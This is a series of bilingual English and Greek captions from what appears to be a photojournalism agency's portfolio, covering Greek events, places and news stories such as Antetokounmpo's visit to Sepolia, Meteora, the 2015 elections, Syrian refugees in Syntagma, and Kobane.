The famous Greek NBA rookie Giannis Antetokounmpo, playing for the ‎MilwaukeeBucks, participated in a basketball event at the neighborhood he was born in Sepolia, Athens, Greece. He was invited by his old friends to play with them at the Triton B.C. open-air basketball court, the court he did his first shootings as a child. Lot of children and teenagers, boys and girls of this migrants and middle class athenian neighborhood, gathered excited to sneak a look, through his long jumps, to their own shining star in the sky.

+

Φωτογραφίες: Παναγιώτης Τζάμαρος, Αγγελος Χριστοφιλόπουλος

Ο διάσημος παίκτης του αμερικάνικου μπάσκετ, ο Ελληνας Γιάννης Αντετοκούνμπο, ο οποίος παίζει στο NBA, στην ομάδα των Μιλγουόκι Μπακς, συμμετείχε σε εκδήλωση μπάσκετ στα Σεπόλια, τη γειτονιά που γεννήθηκε. Είχε προσκληθεί από τους παλιούς φίλους του για να παίξει μαζί τους στο ανοιχτό γήπεδο της τοπικής ομάδας μπάσκετ του Τρίτωνα, στις μπασκέτες όπου σκόραρε τους πρώτους του πόντους ως παιδί. Πολλά παιδιά και έφηβοι, αγόρια και κορίτσια αυτής της γειτονιάς της αθηναϊκής μεσαίας τάξης και των μεταναστών δεύτερης γενιάς , συγκεντρώθηκαν ενθουσιασμένα για να κρυφοκοιτάξουν , πέρα από τα μακριά άλματά του, το δικό τους λαμπερό αστέρι στον ουρανό.

Photos: Spyros Staveris

People of the circus will always look in our minds like mythical monsters, like creatures living at the borderline between fiction and reality. They are Nomads of the imaginary, traffickers of risky dreams, people who converse with wild beasts, who bounce smiling on a tight rope, sprinkling with glitter their quirky way of being.
The photographer Spyros Staveris offer us such images. He is acting like a shadow that penetrates their secret world with mood not to reveal some prosaic reality, but to capture on film this magical mist that surrounds them. The mystery intensifies, the magic is present.

Circus Of Prague, Athens, Greece, May 1990

+

Φωτογραφίες: Σπύρος Στάβερης

Οι άνθρωποι του τσίρκου θα μοιάζουν πάντα στο μυαλό μας σαν μυθικά τέρατα, σαν πλάσματα που ζουν στο μεταίχμιο μεταξύ φαντασίας και πραγματικότητας, νομάδες του φανταστικού, διακινητές ριψοκίνδυνων ονείρων, οι άνθρωποι που συνομιλούν με τα άγρια θηρία, που χοροπηδούν χαμογελώντας σε τεντωμένα σκοινιά, που πασπαλίζουν με χρυσόσκονη την ιδιότροπη φύση τους.
Τέτοιες εικόνες μας προσφέρει ο φωτογράφος Σπύρος Στάβερης, που σαν σκιά εισχωρεί στον μυστικό κόσμο τους, με διάθεση όχι να αποκαλύψει κάποια πεζή πραγματικότητα, μα να αποτυπώσει στο φιλμ αυτή την μαγική άχλη που τους περιβάλλει. Το  μυστήριο εντείνεται, η μαγεία είναι παρούσα.

Τσίρκο Της Πράγας, Αθήνα, Μάιος 1990

Photos: Giorgos Tatakis

The wild and inaccessible landscape of Meteora causes an awe that perfectly matches to the atmosphere of devoutness of the Orthodox Easter celebration. At this rocky formation, in central Greece, the monasticism found its natural home at the Byzantine period, about ten centuries ago. The "monastic state" of Meteora reached its heyday in the 16th and 17th century. A period when new monasteries established and Orthodox and Catholic buildings were built, decorated with exquisite art religious frescoes. But soon Meteora passed into decline phase, and today only the monasteries of the Transfiguration (one known as the "Great Meteor"), Varlaam, St. Nicholas Anapafsas of Rousanou, the Holy Trinity and St. Stephen are operating regularly. All other monasteries have been eliminated over the centuries. These six monasteries are open and attract many visitors that want to experience the atmosphere of deep religiosity, especially the Easter season.

+

Φωτογραφίες: Γιώργος Τατάκης

Το άγριο και απροσπέλαστο τοπίο των Μετεώρων προκαλεί ένα δέος που ταιριάζει απόλυτα με το κλίμα κατάνυξης της γιορτής του  Πάσχα. Εκεί ο μοναχισμός βρήκε τη φυσική του κατοικία την εποχή του Βυζαντίου, πριν από περίπου δέκα αιώνες. Η «μοναστηριακή πολιτεία» των Μετεώρων γνώρισε τη μεγαλύτερη ακμή της τον 16ο και 17ο αιώνα, περίοδο που ιδρύονται νέες μονές και χτίζονται ορθόδοξα και καθολικά χτίσματα, που διακοσμούνται με απαράμιλλης τέχνης θρησκευτικές τοιχογραφίες. Σύντομα όμως τα Μετέωρα πέρασαν σε φάση παρακμής, με αποτέλεσμα σήμερα να λειτουργούν μόνο τα μοναστήρια της Μεταμόρφωσης του Σωτήρος (μονή γνωστή και ως το «Μεγάλο Μετέωρο»), του Βαρλαάμ, του Αγίου Νικολάου του Αναπαυσά, του Ρουσάνου, της Αγίας Τριάδος και του Αγίου Στεφάνου, ενώ οι υπόλοιπες μονές λειτουργούν μόνο τμηματικά. Όλες οι άλλες μονές έχουν εξαλειφθεί με το πέρασμα των αιώνων. Οι παραπάνω 6 μονές είναι επισκέψιμες και αποτελούν πόλο έλξης πολλών επισκεπτών που συρρέουν στα Μετέωρα για να βιώσουν το κλίμα βαθιάς θρησκευτικότητας, ιδιαίτερα την περίοδο του Πάσχα.

Photos: Pinelopi Gerasimou

Athens, through photographer Pinelopi Gerasimou's perspective, gain qualities that do not relate to the historical and social circumstances of the present time, but clearly on the ability of light to create new visual forms and to redraw the space and shape of the urban reality. The individual components of the body image are locked in beams of light or lack of it. And ultimately, it is their outline that determines the aesthetic delight of these pictures.

+

Φωτογραφίες: Πηνελόπη Γερασίμου

Η Αθήνα, μέσα από το βλέμμα της φωτογράφου Πηνελόπης Γερασίμου, αποκτά ιδιότητες που δεν αναφέρονται στις ιστορικές και κοινωνικές συγκυρίες της εποχής, αλλά καθαρά στην ικανότητα του φωτός να δημιουργεί καινούργιες οπτικές φόρμες και να επανασχεδιάζει το χώρο και το σχήμα της αστικής πραγματικότητας. Τα επιμέρους στοιχεία που αποτελούν το σώμα της φωτογραφίας κλειδώνονται σε δέσμες φωτός ή στην έλλειψή του και είναι το περίγραμμά τους αυτό που τελικά καθορίζει την αισθητική απόλαυση αυτών των εικόνων.

Photos: Bernard Steffin

January 2015. Last Friday before the Greek national elections. The German photographer Bernard Steffin follows the political developments in Greece. Along with hope and expectations, there is fear and tension, a few smiling faces, anxious about tomorrow, no aggression, no crazy cheering. One would expect that the ultimate pre-election rally of SYRIZA at Omonia square, in the center of Athens, would be crazy festival, a wild party on the expected prevalence of the political party who had raised the flag of social justice and of an heroic exit from the economic Memorandum. Greece is in front of a difficult crossroad and SYRIZA supporters feel that the country's future lies in their hands. Ultimately, however, what they may wish is their freedom of choice and the right to live in dignity. And maybe, after all, this is democracy.

+

Φωτογραφίες: Μπέρναρντ Στέφιν

Ιανουάριος 2015. Τελευταία Παρασκευή πριν από τις εθνικές εκλογές. Ο Γερμανός φωτογράφος Μπέρναρντ Στέφιν παρακολουθεί τις πολιτικές εξελίξεις στην Ελλάδα. Μαζί με την ελπίδα και τις προσδοκίες, ο φόβος και η ένταση, λίγα χαμογελαστά πρόσωπα, αγωνία για το αύριο, καμία επιθετικότητα, ούτε τρελλές επευφημίες. Θα περίμενε κανείς ότι η μεγάλη, προεκλογική συγκέντρωση του ΣΥΡΙΖΑ στην Ομόνοια θα ήταν τρελλό πανηγύρι, ένα ξέφρενο γλέντι για την αναμενόμενη επικράτηση του κόμματος, που έκανε σημαία του την κοινωνική δικαιοσύνη και την ηρωική έξοδο από το μνημόνιο της κρίσης. Η Ελλάδα βρίσκεται μπροστά σε δύσκολο σταυροδρόμι και οι υποστηρικτές του ΣΥΡΙΖΑ νιώθουν ότι το μέλλον της βρίσκεται στα χέρια τους. Τελικά, όμως, αυτό που μπορεί να ζητούν ειναι την ελευθερία της επιλογής και το δικαίωμά τους να ζουν με αξιοπρέπεια. Και ίσως αυτό να είναι η δημοκρατία.

photos: Michael Pappas

Every year, on 2 and 3 February, the Winter Festival takes place at the monastery of St. Simeon at Missolonghi, western Greece.
The festival is an authentic festival with historical and religious character, a continuation of a local fair during the Greek Revolution of 1821 against Turkish slavery. That fair was a gathering of people of Missolonghi with Armatolous and Kleftes, a kind of rebels in the region, where on the occasion of the feast, they were taking important decisions for the continuation of Revolution. 
In the evening of the Candlemas(February 2), after having a pray, for the dead heroes of Revolution at the church, locals and visitors are gathering in the monastery and are dividing into groups of friends. When groups took their place around the yard the celebration begins. The feast is continuing until the evening of the next day with orchestra accompaniment of few (2-3 people in each group) playing zurna and tabor and singing traditional folk songs. During the feast, people is throwing money to the musicians and dance around them. Back when there were drachmas, they threw banknotes of hundred drachmas each. After euro came, it was unattractive to throw five euro notes, so now they are throwing dolars !
In addition to the winter festival there is also the summer feast, which is the same old one and it is celebrated every year on Sunday of Pentecost.

+

φωτογραφίες: Μιχάλης Παππάς

Κάθε χρόνο στις 2 και 3 Φεβρουαρίου πραγματοποιείται το Χειμωνιάτικο Πανηγύρι στο μοναστήρι του Αγίου Συμεών ή Αη Συμιού στο Μεσολόγγι.
Πρόκειται για ένα αυθεντικό πανηγύρι με ιστορικό και θρησκευτικό χαρακτήρα. Το πανηγύρι αυτό είναι συνέχεια του Πανηγυριού των Μεσολογγιτών στα χρόνια της τουρκικής σκλαβιάς και της Επανάστασης του 1821. Τότε ήταν μια σύναξη των ντόπιων κατοίκων με τους Αρματωλούς και Κλέφτες της περιοχής, όπου με πρόσχημα το γλέντι στο μοναστήρι, παίρνανε και τις μεγάλες αποφάσεις για την συνέχιση του Αγώνα.
Το απόγευμα της Υπαπαντής (2 Φεβρουαρίου), μετά την προσευχή στην εκκλησία για την ανάπαυση των νεκρών ηρώων του Αγώνα, οι ντόπιοι και οι επισκέπτες μαζεύονται σε ξεχωριστές παρέες στα στέκια τους, στον περίβολο της Μονής, και ξεκινούν τη γιορτή. Το γλέντι τους συνεχίζεται μέχρι το δειλινό της επόμενης μέρας , με την συνοδεία ολιγομελούς ορχήστρας (2-3 ατόμων στην κάθε παρέα) που παίζουν ζουρνά και νταούλι και τραγουδούν παραδοσιακά δημοτικά και κλέφτικα τραγούδια. Οι πανηγυριστές πετούν χρήματα στους μουσικούς. Παλιά όταν υπήρχαν οι δραχμές, πετούσαν 100άρικα. Με την έλευση του ευρώ ήταν ασύμφορο να πετούν χαρτονομίσματα των 5 ευρώ, οπότε μετατρέπουν τα ευρώ σε μονοδόλαρα.

Εκτός από το χειμωνιάτικο πανηγύρι υπάρχει και το καλοκαιρινό, το οποίο είναι το ίδιο και γιορτάζεται την Κυριακή της Πεντηκοστής.

photos: Pinelopi Gerasimou

Paris. Traveling into the romantic side of senses created by female Greek photographer Pinelopi Gerasimou wandering through the streets of the French capital.

+

φωτογραφίες: Πηνελόπη Γερασίμου

Παρίσι. Ταξίδι στην ρομαντική πλευρά των αισθήσεων που δημιουργεί η περιπλάνιση της φωτογράφου Πηνελόπης Γερασίμου στους δρόμους της Γαλλικής πρωτεύουσας.

photos: Pinelopi Gerasimou

Sunday sunrise in the winter, announcing the Greek national elections of 2015. A good idea for a short walk to the Acropolis hill, a nostalgic wandering among the ruins of the unique ancient Athenian Democracy. Photos of broken columns and ancient inscriptions, the Attic light that exposes the form of a wounded urban landscape, ruins of history, then and now. Blurry images, faint fragments of  primordial memory, they reminiscent of something familiar to any visitor of this city-ASTY would like to climb a little bit higher today.

+

φωτογραφίες: Πηνελόπη Γερασίμου

Κυριακάτικο ξύπνημα μες στον χειμώνα, εθνικές εκλογές 2015. Μια καλή ιδέα για ένα μικρό περίπατο στην Ακρόπολη, μια νοσταλγική περιπλάνηση ανάμεσα στα ερείπια της μοναδικής Αθηναϊκής Δημοκρατίας. Φωτογραφίες από σπασμένες κολώνες και αρχαιοελληνικές επιγραφές, το αττικό φως να στολίζει το πολύπαθο αστικό τοπίο, ερείπια της ιστορίας, τότε και σήμερα. Θολές εικόνες, θραύσματα αρχέγονης μνήμης, κάτι οικείο θυμίζουν, με το σχεδόν σβησμένο ίχνο τους, σε όποιον επισκέπτη αυτής της πόλης-ΑΣΤΥ θα ήθελε να ανέβει λίγο πιο ψηλά σήμερα.

photos: Yannis Drakoulidis

City of Kozani, Macedonia, Northern Greece, in winter. Low temperatures, snow falling, icy landscapes.

+

φωτογραφίες: Γιάννης Δρακουλίδης

Κοζάνη, Δυτική Μακεδονία, τον χειμώνα. Χαμηλές θερμοκρασίες, χιόνι, παγωμένα τοπία.

photos: FOSPHOTOS

60 best portraits of personalities that interviewed at popaganda in the year 2014.

+

φωτογραφίες: FOSPHOTOS

60 από τα καλύτερα πορτρέτα προσώπων που απάντησαν στις ερωτήσεις της popaganda μέσα στο 2014.

photos: FOSPHOTOS. NEWS

On 19/11/2014, about four hundred Syrian refugees, families, women, children, young men and women who wanted to escape from civil war and atrocities in their country, gathered in front of the Greek Parliament, at Syntagma Square and camped there for thirty days, requiring to give them travel documents that would enable them to travel to other European countries. Although these people violently have left their homeland and their homes, do not want to give up their dreams for the future. So, after a few days, they started hunger strike to indicate their hopelessness and desperation.

European legislation does not allow them to leave the country without travel documents and in case of illegal escape, because of Dublin II regulation, they are sent back to Greece. The state has tried several times to stop the protest, suggesting various compromises, but the Syrians insisted on their initial requests and, despite the bad weather, they chose to stay together, until there is a solution to their demands. After consultation with the Greek Ministry of Interior, a compromise found and, because of the cold and continuous rainfall, which made them reach the limits of misery, about two hundred of the refugees, with tywenty-seven families among them, are now accommodated in hotels in the center of Athens. The promise is that finally it will be given their travel documents and and that other European countries agreed to receive them. Those refugees who were not convinced by the promises of Greek authorities, remained in the square. At dawn Monday 15/12, the police removed them from the square, and they were transferred at the Directorate for Immigration of Attica. After a few hours they were released.

videos: http://youtu.be/NKVT8kj1QeI /  http://youtu.be/5WeGs332Xgk

+

φωτογραφίες: FOSPHOTOS. NEWS

Στις 19/11/2014 περίπου 400 Σύριοι πρόσφυγες, οικογένειες, γυναίκες, παιδιά, νέοι και νέες που ήθελαν να φύγουν μακρυά από τον εμφύλιο πόλεμο και τις ακρότητες στην χώρα τους, συγκεντρώθηκαν μπροστά από το Ελληνικό Κοινοβούλιο, στην πλατεία Συντάγματος και κατασκήνωσαν εκεί για τριάντα μέρες περίπου, με απαίτηση να τους δoθούν ταξιδιωτικά έγγραφα για να μπορέσουν να ταξιδέψουν σε άλλες ευρωπαϊκές χώρες. Αν και αυτοί οι άνθρωποι αποχωρίστηκαν βίαια την πατρίδα τους και τις εστίες τους, δεν θέλουν να εγκαταλείψουν τα όνειρά τους για το μέλλον.Έτσι μετά από λίγες ημέρες ξεκίνησαν απεργία πείνας για να δηλώσουν την απελπισία τους και την απόγνωσή τους.

Η ευρωπαϊκή νομοθεσία δεν τους επιτρέπει την έξοδο από την χώρα χωρίς ταξιδιωτικά έγγραφα και σε περίπτωση παράνομης διαφυγής λόγω της συνθήκης Δουβλίνο ΙΙ επαναπροωθούνται στην Ελλάδα. Η πολιτεία προσπάθησε αρκετές φορές να σταματήσει την διαμαρτυρία, προτείνοντας διάφορους συμβιβασμούς, αλλά οι Σύροι επέμειναν στα αρχικά τους αιτήματα και παρά τις άσχημες καιρικές συνθήκες, επέλεξαν να μείνουν όλοι μαζί, μέχρι να δοθεί λύση στα αιτήματά τους. Μετά απο διαβουλεύσεις με το Υπουργείο Εσωτερικών βρέθηκε μια συμβιβαστική λύση και, λόγω του κρύου και της συνεχούς βροχόπτωσης που τους είχαν φτάσει στα όρια της εξαθλίωσης, διακόσιοι περίπου από τους πρόσφυγες, με εικοσιεφτά οικογένειες ανάμεσά τους, ξεκίνησαν να φιλοξενούνται πλέον σε ξενοδοχεία στο κέντρο της Αθήνας, με την υπόσχεση ότι θα τους δωθούν τελικά ταξιδιωτικά έγγραφα, ενώ κι άλλες ευρωπαϊκές χώρες συμφώνησαν άμεσα να τους υποδεχθούν. 'Οσοι δεν πείστηκαν απο τις υποσχέσεις του Υπ.Εσ. παρέμειναν στην πλατεία, και τα ξημερώματα της Δευτέρας αστυνομική δύναμη τους απομάκρυνε από την πλατεία, μεταφέροντας τους στην Διεύθυνση Αλλοδαπών Αττικής. Μετά απο μερικές ώρες αφέθηκαν ελεύθεροι.

videos: http://youtu.be/NKVT8kj1QeI / http://youtu.be/5WeGs332Xgk

photos: Spyros Staveris

Muammar Gaddafi (7 June 1942-20 Οκτωβρίου 2011), commonly known as Colonel Gaddafi, was a Libyan revolutionary and politician, and the de facto ruler of Libya for forty-two years. He came from a family of Bedouin. He studied law and later followed a military career.
Taking power from the absolute monarchy of King Idris in a 1969 bloodless coup d'etat, he ruled as Revolutionary Chairman of the Libyan Arab Republic from 1969 to 1977, and then as the "Brotherly Leader" of the Great Socialist People's Libyan Arab Jamahiriya from 1977 to 2011, creating one of the most authoritarian and corrupt regimes in North Africa.
On February 17, 2011, a day that has since been named as Day of Wrath, major demonstrations broke out against Gaddafi's government, following the start of the Arab Spring in Tunisia, and this had as result the death of at least one thousand protesters. The riots have led the country into civil war, and forced Gadhafi into hiding to save his life.
On October 20, 2011, the channel Al Jazeera reported that Gaddafi was wounded and later other international press resources reported that Muammar Gaddafi was killed near the city of Misrata. The death was confirmed by publications in major international media of images of dead Gaddafi.
Photographer Spyros Staveris visiting Libya in October 1990, took pictures of pan-African Conference in the city of Misrata, organized by the Gaddafi regime to mark the anniversary of the revolution  of September 1. The presence of Gaddafi was grandiose, conference participants were just bored.

+

φωτογραφίες: Σπύρος Στάβερης

Ο Μουαμάρ αλ Καντάφι (7 Ιουνίου 1942 - 20 Οκτωβρίου 2011), ήταν Λίβυος στρατιωτικός (Συνταγματάρχης) πραξικοπηματίας και επαναστάτης, που κατέστη στη συνέχεια ντε φάκτο ηγέτης της Τζαμαχιρίας της Λιβύης από το 1969 ως το 2011. Καταγόταν από οικογένεια βεδουίνων. Σπούδασε νομικά και αργότερα ακολούθησε καριέρα στρατιωτικού.
Την 1η Σεπτεμβρίου του 1969, ως επικεφαλής μιας ομάδας αξιωματικών ανέτρεψε πραξικοματικά τον τότε βασιλιά της Λιβύης Ίντρις, και αυτοανακυρήχτηκε αρχηγός της Λιβύης, δημιουργώντας ένα από τα πιο αυταρχικά και διαφθαρμένα καθεστώτα της Βόρειας Αφρικής, που διάρκεσε 42 χρόνια.
Στις 17 Φεβρουαρίου 2011, που από τότε ορίστηκε ως Ημέρα Οργής, ακολουθώντας το κύμα της Αραβικής Άνοιξης στην γειτονική Τυνησία, ξέσπασαν πολιτικές ταραχές στη Λιβύη εναντίον της κυβέρνησης του Καντάφι, με μεγάλες αντικαθεστωτικές διαδηλώσεις και αποτέλεσμα των θάνατο τουλάχιστον χιλίων διαδηλωτών. Οι ταραχές αυτές οδήγησαν την χώρα σε εμφύλιο πόλεμο, και ανάγκασαν τον Καντάφι να κρύβεται για να σώσει την ζωή του.
Στις 20 Οκτωβρίου του 2011, το κανάλι Αλ Τζαζίρα, ανακοίνωσε ότι ο Καντάφι βρέθηκε τραυματισμένος, και αργότερα άλλες δημοσιογραφικές πηγές, ανάφεραν ότι ο Μουαμάρ Καντάφι σκοτώθηκε κοντά στην πόλη Μισράτα. Ο θάνατος του επιβεβαιώθηκε από δημοσιεύσεις, σε μεγάλα διεθνή μέσα ενημέρωσης, φωτογραφιών του νεκρού Καντάφι.
Οι φωτογραφίες του Σπύρου Στάβερη είναι από την επίσκεψή του στην Λιβύη τον Οκτώβριο του 1990. Φωτογράφισε το Παναφρικανικό Συνέδριο στην πόλη Μισράτα, που διοργάνωσε το καθεστώς Καντάφι με αφορμή την επέτειο της  επανάστασης της 1ης Σεπτεμβρίου. Η παρουσία του Καντάφι είναι μεγαλειώδης, οι συμμετέχοντες στο συνέδριο απλώς παρακολουθούν βαριεστημένοι.

photos: Giannis Papanikos

In Rozava, an autonomous region in the north of Syria, where the Kurdish nation had begun to organize around its national demands, Kurds, Arabs, Armenians, Turkmen, Assyrians and others ethnicities lived together peacefully, before the start of the civil war caused by the imperialists in Syria. This was an area in which there were no ethno-religious conflicts. Here lately, the rebels of YPJ - Star, female Kurdish guerrilla organization, are taking part holding guns to defend their people and to prevent taking prisoners of women and children, while the men of the Kurdish army of Rozava region, are fighting against the army of ISIS(Islamic State of Irak and Syria).

Last stronghold of the Syrian Kurds, the city of Kobane, located along the Syrian border, is besieged brutally by Islamic militants, but so far has not fully surrender. However and despite the resistance of the Kurds since 6 of September, when the march of jihadists to the city began, 50% of the territories have been placed under ISIS control. The air strikes that United States and allied Arab states have unleashed, seem inadequate and the city of Kobane, which counted of at least 400,000 citizens before the Syrian civil war, now is seeing the fighters of the Islamic State coming even closer.
More than 200,000 Kurdish refugees from the region have already crossed the Turkish border to be saved from the violent onslaught of ISIS, while inside the city conflicts between the Islamic State and the Kurdish forces are getting wilder, in an unequal struggle for its control. The refugees who were forcibly expelled from their homes, worry about those left behind and weep for those lost in the vortex of war. Photographs of FOSPHOTOS photojournalist Giannis Papanikos narrate their own drama.
In case Kobane drops in the Islamic State's army hands, then ISIS will put under control a major strip of land at the border between Syria and Turkey, and it is estimated that their next goal would be Baghdad ..

+

φωτογραφίες: Γιάννης Παπανίκος

Στη Ροζάβα, μία αυτόνομη περιοχή στά βόρεια της Συρίας, στην οποία το Κουρδικό Έθνος είχε αρχίσει να οργανώνεται με άξονα τα εθνικά του αιτήματα, πριν από τον εμφύλιο πόλεμο που προκάλεσαν οι ιμπεριαλιστές στη Συρία και στην οποία ανήκει και η πόλη Κομπάνι, Κούρδοι, Άραβες, Αρμένιοι, Τουρκμένοι, Ασσύριοι και άλλοι, ζούσανε μαζί ειρηνικά. Πρόκειται για μία περιοχή στην οποία δεν υπάρχουν εθνοθρησκευτικές διαμάχες. Εκεί, το τελευταίο διάστημα οι αντάρτισσες της YPJ - Star, της γυναικείας κουρδικής αντάρτικης οργάνωσης, παίρνουν μέρος με το όπλο στο χέρι στην υπεράσπιση του λαού και εμποδίζουν τις αιχμαλωσίες γυναικών, ενώ οι άντρες του κουρδικού στρατού της Ροζάβα μάχονται κατά του Ισλαμικού Κράτους.

Τελευταίο προπύργιο των Κούρδων, η πόλη του Κομπάνι κατά μήκος των συνόρων της Συρίας, περιβάλλεται από ισλαμιστές μαχητές και μέχρι στιγμής δεν έχει παραδοθεί πλήρως. Από τις 6 Σεπτεμβρίου όμως, όταν και ξεκίνησε η προέλαση των τζιχαντιστών στην πόλη, το 50% των εδαφών της έχουν τεθεί υπό τον έλεγχό τους. Οι αεροπορικές επιδρομές που έχουν εξαπολύσει οι Ηνωμένες Πολιτείες και τα συμμαχικά αραβικά κράτη μοιάζουν ανεπαρκείς και η Κομπάνι, που πριν από τον συριακό εμφύλιο μετρούσε τουλάχιστον 400.000 Κούρδους, βλέπει τους μαχητές του Ισλαμικού Κράτους να φτάνουν όλο και πιο κοντά.
Περισσότεροι από 200.000 Κούρδοι πρόσφυγες από την περιοχή του Κομπάνι έχουν ήδη διασχίσει τα τουρκικά σύνορα για να σωθούν από την επέλαση του στρατού του ISIS, ενώ στο εσωτερικό της πόλης οι συγκρούσεις ανάμεσα στο Ισλαμικό Κράτος και τις κουρδικές δυνάμεις γίνονται αγριότερες, σε έναν άνισο αγώνα για τον έλεγχό της. Οι πρόσφυγες που ξεριζώθηκαν με την βία από τον τόπο τους, ανησυχούν για όσους έμειναν πίσω και κλαίνε για όσυς χάνονται στη δίνη του πολέμου. Οι φωτογραφίες του φωτορεπόρτερ της FOS Γιάννη Παπανίκου αφηγούνται το δικό τους δράμα.
Στην περίπτωση που η πόλη του Κομπάνι πέσει στα χέρια των τζιχαντιστών, το Ισλαμικό Κράτος θα έχει στην κυριαρχία του μια σημαντική λωρίδα εδάφους στα σύνορα της Συρίας με την Τουρκία, ενώ εκτιμάται ότι ο επόμενος στόχος του θα είναι η Βαγδάτη..

photos: Giannis Papanikos

Fifteen years after the war in 1999, Kosovo is still a partially recognised state. The population of Kosovo consists, mainly of muslim Albanians and christian orthodox Serbs. Relations between Kosovo's Serb and Albanian populations have been hostile since the rise of nationalism in the Balkans. Kosovo is under international supervision since it declared its independence from Serbia in 2008 as the Republic of Kosovo.

+

φωτογραφίες: Γιάννης Παπανίκος

Δεκαπέντε χρόνια μετά τον πόλεμο, το 1999, το Κοσσυφοπέδιο εξακολουθεί να μην είναι πλήρως αναγνωρισμένο κράτος. Ο πληθυσμός του Κοσσυφοπεδίου αποτελείται κυρίως από μουσουλμάνους Αλβανούς και χριστιανούς ορθόδοξους Σέρβους. Οι σχέσεις μεταξύ Σέρβων και Αλβανών του Κοσσυφοπεδίου είναι εχθρικές, ειδικά μετά την άνοδο του εθνικισμού στα Βαλκάνια. Το Κοσσυφοπέδιο βρίσκεται υπό διεθνή εποπτεία, δεδομένου ότι διακήρυξε την ανεξαρτησία του από τη Σερβία το 2008, ως Δημοκρατία του Κοσσυφοπεδίου.

photos: Yannis Drakoulidis

September 3rd Street in Athens. Architectural particularities and urban landscape. +

φωτογραφίες: Γιάννης Δρακουλίδης

Οδός 3ης Σεπτεμβρίου στην Αθήνα. Αρχιτεκτονικές ιδιομορφίες και αστικό τοπίο.

photos: Spyros Staveris

A theatrical act is religiously repeated every mid-August on the island of Tinos, Cyclades, by a diverse crowd with common characteristic the deep, undeniable faith in the miraculous side of life. Where the uncured are healed and expectations are met, hope becomes power that will create the miracle. Virgin Mary as symbol of the last refuge for outcasts romantics looking for light through their darkness, under the blinding sun of the Aegean Sea.

+

φωτογραφίες: Σπύρος Στάβερης

Μια θεατρική πράξη επαναλαμβάνεται ευλαβικά κάθε Δεκαπενταύγουστο στο νησί της Τήνου από ένα ετερόκλητο πλήθος με κοινό χαρακτηριστικό την βαθειά πίστη στην θαυματουργό πλευρά της ζωής. Εκεί που οι αθεράπευτοι θεραπεύονται και οι προσδοκίες πραγματώνονται, η ελπίδα γίνεται δύναμη που θα δημιουργήσει το θαύμα. Η Παναγία ως σύμβολο τελευταίου καταφυγίου για τους απόκληρους ρομαντικούς που ψάχνουν το φως μέσα από το σκοτάδι, κάτω από τον εκτυφλωτικό ήλιο του Αιγαίου.

photos: Gerasimos Domenikos

The Agora, covered arcade, and the Wall of Nations, both impressive steel constructions of the Spanish architect Santiago Calatrava in the surroundings of Olympic Stadium, Athens, Greece. Structures designed and created for the great celebration of the Olympic Games in the city, on the year 2004.
National heritage of great aesthetic and symbolic value, depicted in the abstract images of photographer Gerasimos Domenikos, as a game of forms, shapes and lines .

+

φωτογραφίες: Γεράσιμος Δομένικος

Η Στοά της Αγοράς και το Τείχος των Εθνών, εντυπωσιακές, ατσάλινες κατασκευές του Ισπανού αρχιτέκτονα Σαντιάγκο Καλατράβα στον περιβάλλοντα χώρο του Ολυμπιακού Σταδίου, στο Μαρούσι. Κατασκευές που σχεδιάστηκαν και δημιουργήθηκαν για την μεγάλη γιορτή των Ολυμπιακών Αγώνων της Αθήνας το 2004.
Εθνική κληρονομιά σπουδαίας αισθητικής και συμβολικής αξίας, αποτυπωμένη στις αφαιρετικές εικόνες του φωτογράφου Γεράσιμου Δομένικου, ως ένα παιχνίδι φόρμας, σχημάτων και γραμμών.

photos: Pinelopi Gerasimou

In the summer life is easier. The sun and the sea soften the time that pass, the distance from the events of everyday life are lengthened, as the ferry is heading to Agistri island, in Saronic Gulf. There is time only for affirmation, sweet surrender in small, hidden pleasures of summer, in the shady corners between stone alleys and whitewashed backyards, in sun burning the fallen bodies on the beach, in embroidered curtains that capture the light, in the silence of noon on the side of a treeless road.

There will be always a cool breeze at dusk, when you are calm and waiting for the sunset to come, on the porch of your holidays house, or in a tavern by the sea, named TO KYMA, that takes away anxious thoughts and unsolved problems. The present moment fades then and nostalgia softly makes your eyes turn to the horizon.

+

φωτογραφίες: Πηνελόπη Γερασίμου

Το καλοκαίρι η ζωή ειναι πιο εύκολη. Ο ήλιος και η θάλασσα μαλακώνουν τον χρόνο, οι αποστάσεις από τα γεγονότα της καθημερινότητας μεγαλώνουν, όσο το καράβι της γραμμής οδεύει προς το Αγκίστρι, νησί στον Σαρωνικό. Υπάρχει χρόνος μόνο για κατάφαση, γλυκειά παράδοση στις μικρές, κρυφές απολαύσεις του καλοκαιριού, στις σκιερές γωνιές ανάμεσα σε πέτρινα σοκάκια και ασβεστωμένες αυλές, στον ήλιο που καίει τα πεσμένα σώματα στην παραλία, σε κεντημένες κουρτίνες που φυλακίζουν το φως, στη σιωπή του μεσημεριού στην άκρη του άδεντρου δρόμου.
Θα υπάρχει πάντα ένα δροσερό αεράκι κατά το σούρουπο, όταν ηρεμείς και περιμένεις το ηλιοβασίλεμα να έρθει, στη βεράντα του εξοχικού, ή στο ταβερνάκι δίπλα στο κύμα, ΤΟ ΚΥΜΑ, που θα παίρνει μακρυά ανήσυχες σκέψεις και άλυτα προβλήματα. Το παρόν αχνοσβύνει και νοσταλγικά γυρίζεις το βλέμμα στον ορίζοντα.

photos: Panayiotis Tzamaros

More than 40,000 people from all over the world participated at the three-day International Convention of Jehovah's Witnesses at the Olympic Stadium, Athens, Greece. On Saturday morning, the second day of the Assembly, in special pools that were set up in the center of the field, a total of 337 men and women baptized new members, both from Greece and from abroad, who had come just for this reason in Greece and took part in the event. As in any other assembly, the Jehovah's Witnesses sang hymns, read the Bible verses and discussed on copyright and other issues that concern them through the eyes of their beliefs. Jehovah's Witnesses are an official Christian religion with about eight million members in 239 countries. Basis of their faith is the Bible, and recognize that the salvation of the people can only be achieved through Jesus Christ, the Son of God. However, their beliefs on many issues differ from traditional Christian Churches. The sermon is based mainly on the belief that today the unjust world order is in the "last days" of, as soon God will take action to punish the unjust people and give eternal life to the righteous on a paradise earth.

+

φωτογραφίες: Παναγιώτης Τζαμαρος

